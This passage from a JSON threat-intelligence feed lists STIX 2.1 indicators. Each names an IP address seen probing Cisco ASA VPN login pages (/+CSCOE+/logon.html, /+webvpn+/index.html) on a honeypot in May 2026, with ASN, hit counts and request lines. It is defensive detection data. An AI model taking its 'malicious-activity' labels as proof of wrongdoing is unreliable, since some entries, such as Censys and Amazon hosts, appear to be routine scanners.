          "first_seen": "2026-05-09T08:22:12.123Z",
          "last_seen": "2026-05-30T12:46:41.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d63e8ab0-a8f0-4777-bfc5-39e900bc872b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:20:10.000Z",
      "valid_until": "2026-06-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-09T08:51:35.613Z",
          "last_seen": "2026-05-30T00:09:26.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ce953a43-5c12-4af4-87c2-fb26c7ef385c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:20:10.000Z",
      "valid_until": "2026-06-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-09T09:10:11.281Z",
          "last_seen": "2026-05-27T00:56:52.643Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--db2edd53-0ec7-44e2-922b-a35c9980bdcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:20:10.000Z",
      "valid_until": "2026-06-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T10:02:58.362Z",
          "last_seen": "2026-05-16T03:32:18.332Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--42c73da6-996d-4040-bd47-3fc1b5cc15a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:20:10.000Z",
      "valid_until": "2026-06-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-09T09:45:40.139Z",
          "last_seen": "2026-05-30T10:06:42.618Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1d770a67-416e-43e0-86eb-cb032c32d588",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:20:05.000Z",
      "valid_until": "2026-06-10T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-09T11:04:51.993Z",
          "last_seen": "2026-05-26T19:36:03.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7a6c78b8-caac-47d1-bc2d-cd639206841f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:20:05.000Z",
      "valid_until": "2026-06-10T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T10:41:33.894Z",
          "last_seen": "2026-05-30T09:17:22.791Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--247a1501-2cb7-46bf-9631-993b45e0d6b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:20:10.000Z",
      "valid_until": "2026-06-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T11:29:25.856Z",
          "last_seen": "2026-05-20T09:24:35.358Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b5fb972c-017c-486d-9e79-266cc67bc834",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:20:10.000Z",
      "valid_until": "2026-06-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-09T12:15:07.013Z",
          "last_seen": "2026-05-29T13:14:27.911Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--412d7cd8-83f2-4275-88d0-0f6b38a73369",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:20:10.000Z",
      "valid_until": "2026-06-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T12:20:03.594Z",
          "last_seen": "2026-05-11T12:46:40.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--61c73311-32d6-4991-8937-003bfab69d5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:20:18.000Z",
      "valid_until": "2026-06-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T13:17:40.128Z",
          "last_seen": "2026-05-25T20:39:38.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6f896cc8-8a25-45e1-b2ac-90a4947c600f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:20:18.000Z",
      "valid_until": "2026-06-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T13:17:51.233Z",
          "last_seen": "2026-05-31T03:15:50.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T01:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--9c8082d5-6515-47ca-aa27-73451f3779f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.236.211.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:20:09.000Z",
      "valid_until": "2026-06-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T01:11:10.721Z",
          "last_seen": "2026-05-10T01:11:10.721Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T01:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--3437987f-9c02-429b-ab6e-efcdb3007ee2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:20:09.000Z",
      "valid_until": "2026-06-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T01:02:46.724Z",
          "last_seen": "2026-05-27T19:48:01.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T01:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d9f5c1e5-8340-42a4-b244-eb682ca6cf17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.80.27.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:20:09.000Z",
      "valid_until": "2026-06-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-10T01:08:49.446Z",
          "last_seen": "2026-05-10T01:08:52.449Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T01:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b8b02c8b-ad5f-4a0c-96bb-93d3ed3a5d80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.91.236.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:20:09.000Z",
      "valid_until": "2026-06-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T01:08:59.993Z",
          "last_seen": "2026-05-10T01:08:59.993Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T02:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--0a6eaa79-2625-4fa0-bcce-d7bf7ba9e93d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:20:04.000Z",
      "valid_until": "2026-06-11T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-10T01:58:34.001Z",
          "last_seen": "2026-05-30T05:58:46.952Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T02:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--89f167ae-3cfb-41ca-b1d0-058e0e2809d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:20:04.000Z",
      "valid_until": "2026-06-11T02:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-10T02:13:47.196Z",
          "last_seen": "2026-05-10T02:14:01.403Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bc115436-ecaa-411a-8b97-8b9c44ff764c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:20:10.000Z",
      "valid_until": "2026-06-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-10T03:19:36.699Z",
          "last_seen": "2026-05-28T00:54:25.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--692b2946-74b4-40a5-87c3-61fc206f904e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:20:10.000Z",
      "valid_until": "2026-06-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T03:17:24.886Z",
          "last_seen": "2026-05-22T20:40:47.615Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--75fbf483-093d-4b33-ab91-464a9689ebea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:20:10.000Z",
      "valid_until": "2026-06-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-10T02:43:06.989Z",
          "last_seen": "2026-05-25T12:19:40.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
